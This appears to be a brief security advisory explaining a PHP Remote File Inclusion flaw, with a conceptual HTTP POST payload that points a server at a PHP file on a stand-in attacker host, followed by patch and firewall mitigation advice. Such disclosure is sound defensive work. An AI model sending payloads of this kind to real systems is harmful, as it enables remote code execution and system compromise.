How the Exploit Works
The vulnerability lies in the improper control of the filename for the include/require statement in the PHP program. An attacker can manipulate this to include files from remote servers, leading to PHP Remote File Inclusion (RFI). This means the attacker can execute arbitrary code or scripts disguised as a system file to gain unauthorized access to the system or exfiltrate data.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. The attacker sends a malicious HTTP POST request to a vulnerable endpoint on the target server. The payload includes a URL that points to a malicious PHP file on a different server under the attacker’s control.
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file_url": "http://attacker.com/malicious.php" }In this example, `http://attacker.com/malicious.php` is the remote file that contains malicious code. When this request is processed by the server, the server includes the malicious file in its execution, causing potential compromise of the system.
Mitigation
To mitigate this vulnerability, users should apply the vendor patch as soon as possible. If applying the patch is not immediately feasible, you can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Remember, these mitigation measures only reduce the risk and do not eliminate it. The only surefire way to fix the vulnerability is to update to a secure version of the software.
